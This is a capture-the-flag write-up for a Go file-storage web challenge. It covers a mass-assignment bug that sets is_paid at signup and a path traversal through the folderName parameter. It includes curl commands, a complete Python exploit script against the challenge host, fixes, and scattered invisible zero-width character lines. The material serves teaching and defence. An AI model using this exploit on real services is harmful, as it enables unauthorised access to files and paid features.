← Back to Writeups
CUSTOMMediumWeb

90 - Самое надежное хранилище (The Most Secure Storage)

XESXOR9/10/20263 min read
#web#custom#medium#jwt_authentication#mass_assignment_bypass#path_traversal_via_parameter

90 - Самое надежное хранилище (The Most Secure Storage)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: jwt_authentication, mass_assignment_bypass, path_traversal_via_parameter

Summary

Walkthrough of the CUSTOM Web 90 - Самое надежное хранилище (The Most Secure Storage). Task: Go file storage with JWT authentication. Solution: Mass assignment to set is_paid=true during registration, then path traversal via unsanitized folderName parameter to read flag.txt from root di

Description

Решил переделать надежное хранилище, в самое надежное хранилище. Теперь ваши файлы будут защищены, честно...

(Decided to remake the secure storage into the most secure storage. Now your files will be protected, honestly...)

Analysis

The application is a file storage service written in Go with JWT authentication. Source code analysis revealed two critical vulnerabilities. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerability 1: Mass Assignment / JSON Injection

In the signUpRoutePost function, form data is directly deserialized into the User struct:

go
data := c.FormValue("data")
if err := json.Unmarshal([]byte(data), &user); err != nil {
    return c.String(http.StatusBadRequest, "Invalid data")
}

The User struct contains an IsPaid field that determines access to premium features:

go
type User struct {
    UserId   int64  `json:"user_id"`
    Username string `json:"username"`
    Password string `json:"password"`
    IsPaid   bool   `json:"is_paid"`
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Problem: The is_paid field can be set during registration, bypassing the payment check.

Vulnerability 2: Path Traversal in folderName Parameter

In the downloadFileFromFolderRouteGet and folderRouteGet functions, the folderName parameter is not sanitized:

go
// Protection is applied only to the file parameter, but NOT to folderName!
fileSplit := strings.Split(file, "/")
return c.File(filepath.Join(userRootPath, folderName, fileSplit[len(fileSplit)-1]))

Problem: You can use ../ in folderName to escape the user's directory. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Registration with is_paid: true

bash
curl -X POST "http://tasks.duckerz.ru:30067/signup" \
  -d 'data={"username":"hacker","password":"password123","is_paid":true}' \
  -c cookies.txt

This creates a user with premium access and saves the JWT token to cookies.txt.

Step 2: Listing Root Directory via Path Traversal

bash
curl --path-as-is -b cookies.txt "http://tasks.duckerz.ru:30067/folder/../.."

Important: The --path-as-is flag prevents URL normalization in curl, preserving ../ in the request. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The response shows the contents of the application's root directory, including flag.txt.

Step 3: Downloading the Flag

bash
curl --path-as-is -b cookies.txt "http://tasks.duckerz.ru:30067/file/flag.txt/folder/../.."

Exploit (Python)

python
#!/usr/bin/env python3
"""
Exploit for "Самое надежное хранилище" (The Most Secure Storage)
DUCKERZ CTF - Task 90

Vulnerabilities:
1. Mass Assignment - set is_paid=true during registration
2. Path Traversal - unsanitized folderName parameter
"""

import requests
import random
import string
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

BASE_URL = "http://tasks.duckerz.ru:30067"

def random_username():
    return ''.join(random.choices(string.ascii_lowercase, k=8))

def exploit():
    session = requests.Session()
    
    # Step 1: Register with is_paid=true (Mass Assignment)
    username = random_username()
    payload = {
        "username": username,
        "password": "password123",
        "is_paid": True  # Bypass payment check
    }
    
    print(f"[*] Registering user '{username}' with is_paid=true...")
    resp = session.post(
        f"{BASE_URL}/signup",
        data={"data": str(payload).replace("'", '"').replace("True", "true")}
    )
    
    if "auth" not in session.cookies:
        print("[-] Registration failed")
        return
    
    print("[+] Registration successful, got JWT token")
    
    # Step 2: List root directory via path traversal
    print("[*] Listing root directory...")
    resp = session.get(f"{BASE_URL}/folder/../..")
    print(f"[*] Directory contents: {resp.text[:200]}...")
    
    # Step 3: Download flag.txt
    print("[*] Downloading flag.txt...")
    resp = session.get(f"{BASE_URL}/file/flag.txt/folder/../..")
    
    if "DUCKERZ{" in resp.text:
        print(f"[+] Flag: {resp.text.strip()}")
    else:
        print(f"[-] Response: {resp.text}")
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

if __name__ == "__main__":
    exploit()

Defense

Against Mass Assignment:

go
// Use a separate struct for registration
type SignUpRequest struct {
    Username string `json:"username"`
    Password string `json:"password"`
    // Do NOT include is_paid!
}

Against Path Traversal:

go
// Validate ALL path parameters
func sanitizePath(input string) string {
    // Remove all ../ and ./
    cleaned := filepath.Clean(input)
    // Check that path doesn't escape
    if strings.Contains(cleaned, "..") {
        return ""
    }
    return filepath.Base(cleaned)
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

References

Key Takeaways / Lessons

  • Mastering jwt_authentication, mass_assignment_bypass, path_traversal_via_parameter was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-01-15 • CUSTOM • 90 - Самое надежное хранилище (The Most Secure Storage) • Difficulty: Medium